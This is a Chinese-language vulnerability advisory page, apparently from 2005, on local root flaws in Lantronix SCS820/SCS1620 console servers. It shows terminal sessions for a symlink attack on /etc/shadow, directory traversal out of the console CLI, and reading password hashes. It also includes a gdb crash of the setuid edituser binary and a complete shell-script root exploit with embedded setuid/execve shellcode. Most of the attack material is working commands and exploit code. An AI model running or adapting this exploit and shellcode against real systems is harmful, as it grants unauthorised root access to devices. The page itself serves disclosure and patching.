首页 -> 安全研究
安全研究
安全漏洞
Lantronix Secure Console Server SCS820/SCS1620多个本地安全漏洞
发布日期:2005-08-08
更新日期:2005-08-08
受影响系统:
Lantronix Secure Console Server SCS820描述:
Lantronix Secure Console Server SCS1620
BUGTRAQ ID: 14486
SCS820和SCS1620是ActiveLinx家族安全控制台服务器(SCS)的成员,用于处理本地和远程的IT事件。
Lantronix Secure Console Server中存在多个安全漏洞,允许攻击者通过缓冲区溢出和不安全的文件系统配置获得root权限。
1 覆盖root用户的文件
----------
[c0ntex@SCS1620 /tmp]$ ls -al
total 2
drwxrwxrwx 2 root root 1024 Oct 31 00:50 ./
drwxr-xr-x 16 root root 1024 Oct 20 11:38 ../
prw-rw-rw- 1 root root 0 Oct 31 00:14 listen_fifo_server|
[c0ntex@SCS1620 /tmp]$ mv listen_fifo_server listen_fifo_server.orig
[c0ntex@SCS1620 /tmp]$ ln -s /etc/shadow listen_fifo_server
现在用户在等待系统管理员登录以入侵控制台:
sysadmin>listen 01
Please wait for connection..
sysadmin-DEVICE_01>logout
[sysadmin@SCS1620 /tmp]$ su - root
Password:
su: incorrect password # odd......
另一个窗口:
[root@SCS1620 /tmp]# head /etc/shadow
j /tmp/listen_fifo_5226;DEVICE_0121:0:99999:7:-1:-1:134550324
bin:*:11529:0:99999:7:::
daemon:*:11529:0:99999:7:::
adm:*:11529:0:99999:7:::
2 目录遍历获得基础系统的访问
----------
c0ntex>?
Commands:
alias - List command aliases
cat - Print history buffer
clear - Clear port buffer
connections - show active connections
...
c0ntex>/bin/bash
/bin/bash: unknown command
c0ntex>
c0ntex>
c0ntex>../../../bin/bash
[c0ntex@SCS1620 /var/tmp]$
3 Sysadmin变为root
----------
sysadmin>
sysadmin>
sysadmin>bash
sysadmin@SCS1620 /var/tmp$
sysadmin@SCS1620 /var/tmp$
sysadmin@SCS1620 /var/tmp$ cat /etc/shadow
cat: /etc/shadow: Permission denied
sysadmin@SCS1620 /var/tmp$
sysadmin@SCS1620 /var/tmp$
sysadmin@SCS1620 /var/tmp$ exit
sysadmin>../../../bin/cat /etc/shadow
root:$1$kjhfiusdhf9hs9f898ufs89ujfoj292020i2krp.:12721:0:99999:7:-1:-1:134550324
bin:*:11529:0:99999:7:::
daemon:*:11529:0:99999:7:::
...
sysadmin>../../../bin/vi
~
~
~
~
~
:!cat /etc/shadow
root:$1$kjhsfsdfsdff9hs9f898ufs89ujfoj292020i2krp.:12721:0:99999:7:-1:-1:134550324
bin:*:11529:0:99999:7:::
daemon:*:11529:0:99999:7:::
...
~
~
~
~
~
:q!
从ci接口和strace以sysadmin运行bash,得到以下内容:
sysadmin>bash
...
14441 [400d8367] getuid() = 500
14441 [400f775b] setresuid(ruid 4294967295, euid 500, suid 4294967295) = 0
通过目录遍历:
sysadmin> ../../../bin/bash
...
14392 [400ab367] getuid() = 500
14392 [400ab3c7] getgid() = 100
14392 [400ab397] geteuid() = 0
14392 [400ab3f7] getegid() = 100
...
sysadmin>../../../home/sysadmin/snakeoil 10719
Attached process [10719] OK!
++ Stack regsiters for PID of [10719] ++
Stack Address of %eax = [0xfffffe00]
Stack Address of %ecx = [0xbffff100]
Stack Address of %edx = [0x00000000]
Stack Address of %ebx = [0xffffffff]
Stack Address of %esp = [0xbffff0c8]
Stack Address of %ebp = [0xbffff0e8]
Stack Address of %esi = [0x00000000]
Stack Address of %edi = [0xffffffff]
Stack Address of %eip = [0x400d79a9]
Injecting %eip register with [0xbffff2bb]
++ Stack regsiters for PID of [10719] ++
Stack Address of %eax = [0xfffffe00]
Stack Address of %ecx = [0xbffff100]
Stack Address of %edx = [0x00000000]
Stack Address of %ebx = [0xffffffff]
Stack Address of %esp = [0xbffff0c8]
Stack Address of %ebp = [0xbffff0e8]
Stack Address of %esi = [0x00000000]
Stack Address of %edi = [0xffffffff]
Stack Address of %eip = [0xbffff2bb]
Detached process [10719] OK!
bash#
4 通过edituser二进制程序中的缓冲区溢出成为root用户
[sysadmin@SCS1620 /usr/local/bin]$ ls -al edituser
-rwsr-xr-x 1 root root 12912 Apr 15 2003 edituser
[sysadmin@SCS1620 /usr/local/bin]$ su - c0ntex
Password:
bash$ cp `which edituser` . && gdb -q ./edituser
no debugging symbols found)...gdb>
gdb>
gdb>r -b `perl -e 'printf "\x41" x 70'`
escape sequence is too long.
(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols \
found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:00000000 ebx:00000004 ecx:4001A94B edx:4010B140 eflags:00010246
esi:0804BC0C edi:00000000 esp:BFFEC748 ebp:41414141 eip:41414141
cs:0023 ds:002B es:002B fs:0000 gs:0000 ss:002B o d I t s Z a P c
[002B:BFFEC748]---------------------------------------------------------[stack]
BFFEC778 : 28 D6 04 08 6C C9 10 40 - 70 A8 00 40 94 F8 FE BF (...l..@p..@....
BFFEC768 : 8C 9B 04 08 01 00 00 00 - 60 BC 04 08 08 BC 04 08 ........`.......
BFFEC758 : BC BC 04 08 F0 C7 FE BF - 01 00 00 00 48 F8 FE BF ............H...
BFFEC748 : 41 41 41 41 41 41 41 41 - 41 41 00 08 FF FF FF FF AAAAAAAAAA......
[002B:0804BC0C]---------------------------------------------------------[ data]
0804BC0C : 39 BA 01 40 2C BA 01 40 - 1E BA 01 40 10 BA 01 40 9..@,..@...@...@
0804BC1C : 00 00 00 00 00 00 00 00 - 03 00 00 00 00 00 00 00 ................
[0023:41414141]---------------------------------------------------------[ code]
0x41414141: Error while running hook_stop:
Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb> q
//return-to-libc version for non-exec-stack systems
[c0ntex@SCS1620 ~]$ id -a
uid=501(c0ntex) gid=501(c0ntex) groups=501(c0ntex)
[c0ntex@SCS1620 ~]$ export STACKPAD=`perl -e 'print "A" x 65000'`
[c0ntex@SCS1620 /home/c0ntex]$ edituser -e `perl -e 'print "A" x 56'``printf \
"\x70\xe6\x05\x40\x70\xe6\x05\x40\x81\xfd\xfe\xbf"` escape sequence is too long.
bash: /bin/bash/.bashrc: Not a directory
bash#
//general stack-smash version for older boxes
<*来源:c0ntex (c0ntex@hushmail.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112327955000792&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# Lantronix Secure Console Server edituser root exploit by
# c0ntex - c0ntexb@gmail.com | c0ntex@open-security.org
# Advisory @ http://www.open-security.org/advisories/11
#
# The Linux system supplied by Lantronix does not have gnu
# C compiler, so the exploit is provided as a shell script
# as such, you might need to change the address for
#
#[c0ntex@SCS1620 ~/exploit]$ sh edituserxp.sh
#
# **** *** *** *** *** *** *** *** ***
#[-] Local root exploit for edituser using return-to-libc
#[-] discovered and written by c0ntex | c0ntexb@gmail.com
#Expect a root shell :-) -> escape sequence is too long.
#bash# id -a
#uid=0(root) gid=0(root) groups=100(users),0(root),200(admin)
#bash#
#
BUFFPAD="OPEN-SECURITY.ORG**OPEN-SECURITY.ORG**OPEN-SECURITY.ORG!"
NOPSLED=`perl -e 'print "\x41" x 1000'`
RETADDR=`printf "\x74\xc2\xfe\xbf"`
SETUID=`printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80"`
SHELL=`printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"`
STACKPAD=`perl -e 'print "A" x 65000'`
VULNAP=/usr/local/bin/edituser
VULNOP="-e"
export BUFFPAD NOPSLED RETADDR SETUID SHELL STACKPAD VULNAP VULNOP
printf "\n **** *** *** *** *** *** *** *** ***\n"
printf "[-] Local root exploit for edituser\n"
printf "[-] discovered and written by c0ntex\n"
if [ -f $VULNAPP ] ; then
printf "Expect a root shell :-) -> "; sleep 1
$VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
success=$?
if [ $success -gt 0 ] ; then
printf "\nSeems something messed up, changing NOPBUF to 10000 and trying again!\n"
sleep 2
unset NOPSLED
NOPSLED=`perl -e 'print "\x41" x 10000'`
printf "Expect a root shell :-) -> "
$VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
success=$?
if [ $success -gt 0 ] ; then
printf "\nAgain it failed, sorry you are on your own now :(\n"
fi
fi
fi
建议:
厂商补丁:
Lantronix
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
ftp://ftp.lantronix.com/pub/scs1620/
浏览次数:3536
严重程度:0(网友投票)
绿盟科技给您安全的保障